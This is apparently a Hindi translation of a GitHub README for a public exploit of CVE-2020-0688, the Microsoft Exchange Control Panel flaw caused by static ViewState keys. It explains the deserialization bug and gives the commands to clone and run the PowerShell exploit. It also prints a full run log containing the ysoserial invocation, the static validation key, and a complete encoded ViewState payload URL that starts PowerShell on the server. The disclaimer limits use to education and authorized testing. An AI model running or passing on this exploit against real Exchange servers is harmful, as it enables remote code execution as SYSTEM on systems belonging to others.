
Microsoft Exchange Server पर निश्चित क्रिप्टोग्राफ़िक कुंजियों के माध्यम से रिमोट कोड निष्पादन
माइक्रोसॉफ्ट एक्सचेंज सर्वर में एक रिमोट कोड निष्पादन भेद्यता मौजूद है जब सर्वर इंस्टॉलेशन के समय अद्वितीय कुंजियाँ ठीक से नहीं बना पाता है।
वैलिडेशन कुंजी का ज्ञान एक प्रमाणित उपयोगकर्ता को, जिसके पास मेलबॉक्स है, वेब एप्लिकेशन द्वारा डिसीरियलाइज़ किए जाने के लिए मनमाने ऑब्जेक्ट पास करने की अनुमति देता है, जो SYSTEM के रूप में चलता है।
यह बग एक्सचेंज कंट्रोल पैनल (ECP) घटक में पाया जाता है। बग की प्रकृति काफी सरल है। प्रत्येक इंस्टॉलेशन के लिए यादृच्छिक रूप से उत्पन्न कुंजियाँ रखने के बजाय, माइक्रोसॉफ्ट एक्सचेंज सर्वर के सभी इंस्टॉलेशन में web.config में समान validationKey और decryptionKey मान होते हैं। इन कुंजियों का उपयोग ViewState को सुरक्षा प्रदान करने के लिए किया जाता है। ViewState सर्वर-साइड डेटा है जिसे ASP.NET वेब एप्लिकेशन क्लाइंट पर सीरियलाइज़्ड प्रारूप में संग्रहीत करते हैं। क्लाइंट इस डेटा को __VIEWSTATE अनुरोध पैरामीटर के माध्यम से सर्वर को वापस प्रदान करता है।
स्थैतिक कुंजियों के उपयोग के कारण, एक प्रमाणित हमलावर सर्वर को दुर्भावनापूर्ण रूप से तैयार किए गए ViewState डेटा को डिसीरियलाइज़ करने के लिए धोखा दे सकता है। YSoSerial.net की सहायता से, एक हमलावर एक्सचेंज कंट्रोल पैनल वेब एप्लिकेशन के संदर्भ में सर्वर पर मनमाना .NET कोड निष्पादित कर सकता है, जो SYSTEM के रूप में चलता है। (स्रोत)
इन निर्देशों की सहायता से, आप विकास और परीक्षण उद्देश्यों के लिए इस प्रोजेक्ट की एक प्रति अपनी स्थानीय मशीन पर प्राप्त करके चला सकते हैं।
git clone https://github.com/MrTiz/CVE-2020-0688.git
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url <url> -Username <username> -Password <password> -Command <command> -YsoserialPath <ysoserialpath>
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url 'https://localhost' -Username 'domain\username' -Password 'REDACTED' -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath 'C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe'
[*] Start to exploit...
[+] Login url: https://localhost:443/owa/auth.owa
[*] Status code: 200
[+] Login successfully!
[*] Tring to get __VIEWSTATEGENERATOR...
[+] Done! __VIEWSTATEGENERATOR: B97B4E27
[*] Tring to get ASP.NET_SessionId...
[+] Done! ASP.NET_SessionId: 624abfff-85b6-4357-be8c-18a931cad256
C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell whoami > C:/whoami.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="624abfff-85b6-4357-be8c-18a931cad256" --islegacy --isdebug
[+] Exp url: https://localhost:443/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyywYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADtBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BcG93ZXJzaGVsbDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BIndob2FtaSAmZ3Q7IEM6L3dob2FtaS50eHQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgviru9bDCgMPT0snH0s0u%2BA6J37Fg%3D%3D
[*] Auto trigger payload...
[+] Status code: 500, Maybe success!
योगदान ही वह चीज़ है जो ओपन सोर्स समुदाय को सीखने, प्रेरित करने और निर्माण करने के लिए इतनी अच्छी जगह बनाती है। आपके द्वारा प्रदान किए जाने वाले किसी भी योगदान की बहुत सराहना की जाती है।
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)यह एक्सप्लॉइट केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए विकसित और प्रकाशित किया गया था। लेखक किसी भी अवैध उपयोग के लिए कोई जिम्मेदारी नहीं लेता है। इसे अपने जोखिम पर और केवल उन्हीं प्रणालियों के विरुद्ध उपयोग करें जिनके परीक्षण के लिए आप अधिकृत हैं।
यह प्रोजेक्ट GNU जनरल पब्लिक लाइसेंस v3.0 के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।